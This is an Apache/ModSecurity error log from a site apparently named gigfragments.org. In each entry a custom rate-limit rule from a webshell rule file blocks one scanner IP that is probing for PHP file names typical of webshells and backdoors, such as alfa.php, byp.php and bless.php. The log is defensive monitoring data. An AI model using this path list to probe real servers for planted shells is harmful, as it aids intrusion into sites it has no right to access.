[Fri Dec 26 00:50:38.884442 2025] [:error] [pid 24862:tid 24881] [client 4.193.224.251:9052] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1rXrt-eeEEuo-2JKgiKQAAAA8"]
[Fri Dec 26 00:50:39.066006 2025] [:error] [pid 24862:tid 24872] [client 4.193.224.251:8480] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1rX7t-eeEEuo-2JKgiKwAAAAY"]
[Fri Dec 26 00:50:39.244648 2025] [:error] [pid 24862:tid 24888] [client 4.193.224.251:9036] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1rX7t-eeEEuo-2JKgiLQAAABY"]
[Fri Dec 26 00:50:39.421140 2025] [:error] [pid 24862:tid 24882] [client 4.193.224.251:8748] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1rX7t-eeEEuo-2JKgiLgAAABA"]
[Fri Dec 26 00:50:39.612061 2025] [:error] [pid 24862:tid 24880] [client 4.193.224.251:8508] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1rX7t-eeEEuo-2JKgiLwAAAA4"]
[Fri Dec 26 00:50:39.810878 2025] [:error] [pid 24863:tid 24911] [client 4.193.224.251:9046] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1rXx8SaH2KMpp43vfeYQAAANI"]
[Fri Dec 26 00:50:39.995186 2025] [:error] [pid 24862:tid 24878] [client 4.193.224.251:9066] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1rX7t-eeEEuo-2JKgiMQAAAAw"]
[Fri Dec 26 00:50:40.189405 2025] [:error] [pid 24863:tid 24900] [client 4.193.224.251:9070] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1rYB8SaH2KMpp43vfeYgAAAMc"]
[Fri Dec 26 00:50:40.397512 2025] [:error] [pid 24863:tid 24901] [client 4.193.224.251:9170] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1rYB8SaH2KMpp43vfeYwAAAMg"]
[Fri Dec 26 00:50:40.662220 2025] [:error] [pid 24863:tid 24899] [client 4.193.224.251:8505] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1rYB8SaH2KMpp43vfeZAAAAMY"]
[Fri Dec 26 00:50:40.843563 2025] [:error] [pid 24946:tid 24948] [client 4.193.224.251:8460] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1rYFfyLYxv3Jn9S70w2AAAAEA"]
[Fri Dec 26 00:50:41.024981 2025] [:error] [pid 24862:tid 24885] [client 4.193.224.251:8463] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aU1rYbt-eeEEuo-2JKgiNAAAABM"]
[Fri Dec 26 00:50:41.202460 2025] [:error] [pid 24946:tid 24970] [client 4.193.224.251:9044] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aU1rYVfyLYxv3Jn9S70w3AAAAFY"]
[Fri Dec 26 00:50:41.396246 2025] [:error] [pid 24946:tid 24956] [client 4.193.224.251:8900] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aU1rYVfyLYxv3Jn9S70w4AAAAEg"]
[Fri Dec 26 00:50:41.575813 2025] [:error] [pid 24946:tid 24961] [client 4.193.224.251:9064] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aU1rYVfyLYxv3Jn9S70w4QAAAE0"]
[Fri Dec 26 00:50:41.765572 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8745] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aU1rYVfyLYxv3Jn9S70w5QAAAEs"]
[Fri Dec 26 00:50:41.944689 2025] [:error] [pid 24946:tid 24950] [client 4.193.224.251:8932] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aU1rYVfyLYxv3Jn9S70w6AAAAEI"]
[Fri Dec 26 00:50:42.131764 2025] [:error] [pid 24946:tid 24951] [client 4.193.224.251:9059] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aU1rYlfyLYxv3Jn9S70w6wAAAEM"]
[Fri Dec 26 00:50:42.310319 2025] [:error] [pid 24946:tid 24972] [client 4.193.224.251:8731] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aU1rYlfyLYxv3Jn9S70w7wAAAFg"]
[Fri Dec 26 00:50:42.505004 2025] [:error] [pid 24946:tid 24963] [client 4.193.224.251:9026] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aU1rYlfyLYxv3Jn9S70w8wAAAE8"]
[Fri Dec 26 00:50:42.686639 2025] [:error] [pid 24863:tid 24908] [client 4.193.224.251:9072] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aU1rYh8SaH2KMpp43vfeZQAAAM8"]
[Fri Dec 26 00:50:42.868957 2025] [:error] [pid 24946:tid 24956] [client 4.193.224.251:8496] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aU1rYlfyLYxv3Jn9S70w9gAAAEg"]
[Fri Dec 26 00:50:43.042250 2025] [:error] [pid 24946:tid 24955] [client 4.193.224.251:9083] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aU1rY1fyLYxv3Jn9S70w9wAAAEc"]
[Fri Dec 26 00:50:43.220271 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8470] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aU1rY8u59XOK5DpQQdCHBgAAAVI"]
[Fri Dec 26 00:50:43.409364 2025] [:error] [pid 24862:tid 24868] [client 4.193.224.251:8916] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aU1rY7t-eeEEuo-2JKgiNQAAAAI"]
[Fri Dec 26 00:50:43.602602 2025] [:error] [pid 24863:tid 24898] [client 4.193.224.251:8902] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aU1rYx8SaH2KMpp43vfeZwAAAMU"]
[Fri Dec 26 00:50:43.820785 2025] [:error] [pid 24946:tid 24961] [client 4.193.224.251:9074] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aU1rY1fyLYxv3Jn9S70w-AAAAE0"]
[Fri Dec 26 00:50:43.995863 2025] [:error] [pid 24863:tid 24895] [client 4.193.224.251:8952] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aU1rYx8SaH2KMpp43vfeaQAAAMI"]
[Fri Dec 26 00:50:44.173048 2025] [:error] [pid 24862:tid 24886] [client 4.193.224.251:8197] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aU1rZLt-eeEEuo-2JKgiOgAAABQ"]
[Fri Dec 26 00:50:44.349223 2025] [:error] [pid 24862:tid 24877] [client 4.193.224.251:8491] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aU1rZLt-eeEEuo-2JKgiOwAAAAs"]
[Fri Dec 26 00:50:44.522891 2025] [:error] [pid 24862:tid 24889] [client 4.193.224.251:8506] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aU1rZLt-eeEEuo-2JKgiPAAAABc"]
[Fri Dec 26 00:50:44.704100 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:9050] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1rZFfyLYxv3Jn9S70w-QAAAFc"]
[Fri Dec 26 00:50:44.879935 2025] [:error] [pid 24863:tid 24917] [client 4.193.224.251:9013] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1rZB8SaH2KMpp43vfebwAAANg"]
[Fri Dec 26 00:50:45.074519 2025] [:error] [pid 24946:tid 24967] [client 4.193.224.251:8766] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1rZVfyLYxv3Jn9S70w-gAAAFM"]
[Fri Dec 26 00:50:45.257923 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:9079] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1rZVfyLYxv3Jn9S70w_AAAAEY"]
[Fri Dec 26 00:50:45.438040 2025] [:error] [pid 24946:tid 24949] [client 4.193.224.251:8926] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rZVfyLYxv3Jn9S70w_QAAAEE"]
[Fri Dec 26 00:50:45.641374 2025] [:error] [pid 24946:tid 24952] [client 4.193.224.251:8753] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rZVfyLYxv3Jn9S70w_wAAAEQ"]
[Fri Dec 26 00:50:45.842356 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:8933] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rZVfyLYxv3Jn9S70xBAAAAEo"]
[Fri Dec 26 00:50:46.031635 2025] [:error] [pid 24946:tid 24972] [client 4.193.224.251:9028] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aU1rZlfyLYxv3Jn9S70xBQAAAFg"]
[Fri Dec 26 00:50:46.220134 2025] [:error] [pid 24946:tid 24953] [client 4.193.224.251:9077] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aU1rZlfyLYxv3Jn9S70xCAAAAEU"]
[Fri Dec 26 00:50:46.394935 2025] [:error] [pid 24862:tid 24872] [client 4.193.224.251:8959] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aU1rZrt-eeEEuo-2JKgiQQAAAAY"]
[Fri Dec 26 00:50:46.570929 2025] [:error] [pid 24862:tid 24887] [client 4.193.224.251:8898] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aU1rZrt-eeEEuo-2JKgiQgAAABU"]
[Fri Dec 26 00:50:46.757235 2025] [:error] [pid 24862:tid 24880] [client 4.193.224.251:8998] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aU1rZrt-eeEEuo-2JKgiRQAAAA4"]
[Fri Dec 26 00:50:46.943118 2025] [:error] [pid 24862:tid 24876] [client 4.193.224.251:8504] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rZrt-eeEEuo-2JKgiRgAAAAo"]
[Fri Dec 26 00:50:47.122815 2025] [:error] [pid 24862:tid 24878] [client 4.193.224.251:8487] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rZ7t-eeEEuo-2JKgiRwAAAAw"]
[Fri Dec 26 00:50:47.296949 2025] [:error] [pid 24864:tid 24942] [client 4.193.224.251:8471] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rZ8u59XOK5DpQQdCHDAAAAVY"]
[Fri Dec 26 00:50:47.483894 2025] [:error] [pid 24864:tid 24934] [client 4.193.224.251:8500] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aU1rZ8u59XOK5DpQQdCHDgAAAU4"]
[Fri Dec 26 00:50:47.665368 2025] [:error] [pid 24864:tid 24941] [client 4.193.224.251:8720] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aU1rZ8u59XOK5DpQQdCHDwAAAVU"]
[Fri Dec 26 00:50:47.847502 2025] [:error] [pid 24864:tid 24940] [client 4.193.224.251:9069] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aU1rZ8u59XOK5DpQQdCHEQAAAVQ"]
[Fri Dec 26 00:50:48.027157 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8943] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aU1raMu59XOK5DpQQdCHEgAAAUg"]
[Fri Dec 26 00:50:48.209145 2025] [:error] [pid 24862:tid 24890] [client 4.193.224.251:9000] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aU1raLt-eeEEuo-2JKgiSwAAABg"]
[Fri Dec 26 00:50:48.384805 2025] [:error] [pid 24864:tid 24923] [client 4.193.224.251:8899] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aU1raMu59XOK5DpQQdCHEwAAAUM"]
[Fri Dec 26 00:50:48.567773 2025] [:error] [pid 24864:tid 24936] [client 4.193.224.251:9058] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aU1raMu59XOK5DpQQdCHFAAAAVA"]
[Fri Dec 26 00:50:48.745578 2025] [:error] [pid 24863:tid 24915] [client 4.193.224.251:8896] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aU1raB8SaH2KMpp43vfedAAAANY"]
[Fri Dec 26 00:50:48.967206 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:8603] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aU1raLt-eeEEuo-2JKgiTQAAAAE"]
[Fri Dec 26 00:51:06.497858 2025] [:error] [pid 24862:tid 24886] [client 4.193.224.251:8481] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aU1rert-eeEEuo-2JKgigQAAABQ"]
[Fri Dec 26 00:51:06.697699 2025] [:error] [pid 24864:tid 24943] [client 4.193.224.251:8618] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aU1resu59XOK5DpQQdCHVgAAAVc"]
